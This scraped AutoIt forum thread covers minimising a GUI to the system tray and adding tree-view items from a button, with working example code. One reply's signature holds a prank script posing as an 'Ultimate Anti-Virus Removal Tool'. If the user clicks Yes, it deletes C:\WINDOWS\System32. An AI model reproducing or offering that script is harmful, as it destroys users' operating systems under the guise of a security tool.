Sign in to follow this  
Followers 0
rohit

Help :: send to tray

7 posts in this topic

Hi all, I am a newbie here.. i am just wondering if i could make a program appear in tray only

Share this post


Link to post
Share on other sites



Are you asking if you can make it only have a tray icon and run everything in the background or whenever you minimize it it goes to the tray?


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

#3 ·  Posted (edited)

ya... it goes to tray when minimized..or closed or as coded

Edited by rohit

Share this post


Link to post
Share on other sites

At the top of the script use this

Opt ("TrayOnEventMode", 1)
Opt ("TrayMenuMode", 1)
Opt ("TrayAutoPause", 0)

Then use these functions

NOTE $Frm_Main was created with $Frm_Main = GUICreate("My GUI") So replace it with what ever name you gave your variable for GUICreate()

Func Hide_GUI()
    Global $Tr_Disp = 1
    GuiSetState(@SW_HIDE,$Frm_Main )
    TraySetOnEvent(-8,"Restore_GUI")
    TraySetOnEvent(-10,"_Exit")
    TrayTip($Ttl,'Left click to restore' & @CRLF & 'Right click to Exit',5,1)
    TraySetToolTip($Ttl & @CRLF & @CRLF & 'Left click to restore' & @CRLF & 'Right click to Exit')
    Opt("TrayIconHide", 0)
EndFunc   ;<===> Hide_GUI()

Func Restore_GUI()
    GuiSetState(@SW_Show,$Frm_Main )
    WinActivate ($Frm_Main)
    TraySetState ( 2 )
    Opt("TrayIconHide", 1)
EndFunc   ;<===> Restore_GUI()

George

Question about decompiling code? Read the decompiling FAQ and don't bother posting the question in the forums.

Be sure to read and follow the forum rules. -AKA the AutoIt Reading and Comprehension Skills test.***

The PCRE (Regular Expression) ToolKit for AutoIT - (Updated Oct 20, 2011 ver:3.0.1.13) - Please update your current version before filing any bug reports. The installer now includes both 32 and 64 bit versions. No change in version number.

Visit my Blog .. currently not active but it will soon be resplendent with news and views. Also please remove any links you may have to my website. it is soon to be closed and replaced with something else.

"Old age and treachery will always overcome youth and skill!"

Share this post


Link to post
Share on other sites

#5 ·  Posted (edited)

thanx... I am loving autoit :)

One more question.. ^_^ . can i dynamically change a tree view by calling a function predefined...

........like i add a new menu item by calling a function through a button...[change is immediately seen in the gui]

thanx once more :)

Edited by rohit

Share this post


Link to post
Share on other sites

Ok. Look at this example:

#include <GUIConstants.au3>
#Include <GuiTreeView.au3>

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("Form1", 325, 296, 193, 125)
$TreeCtrl = GUICtrlCreateTreeView(8, 8, 305, 249)
$Add_button = GUICtrlCreateButton("Add_button", 240, 264, 75, 25, 0)
$Add_Input = GUICtrlCreateInput("Add_Input", 8, 266, 225, 21)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        Case $Add_button
            $input = GUICtrlRead($Add_Input)
            $index = _GUICtrlTreeView_GetSelection($TreeCtrl)
            _GUICtrlTreeView_AddChild($TreeCtrl, $index, $input)
            _GUICtrlTreeView_Expand($TreeCtrl)
    EndSwitch
WEnd

Share this post


Link to post
Share on other sites

$index = _GUICtrlTreeView_GetSelection($TreeCtrl)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!


Register a new account

Sign in

Already have an account? Sign in here.


Sign In Now
Sign in to follow this  
Followers 0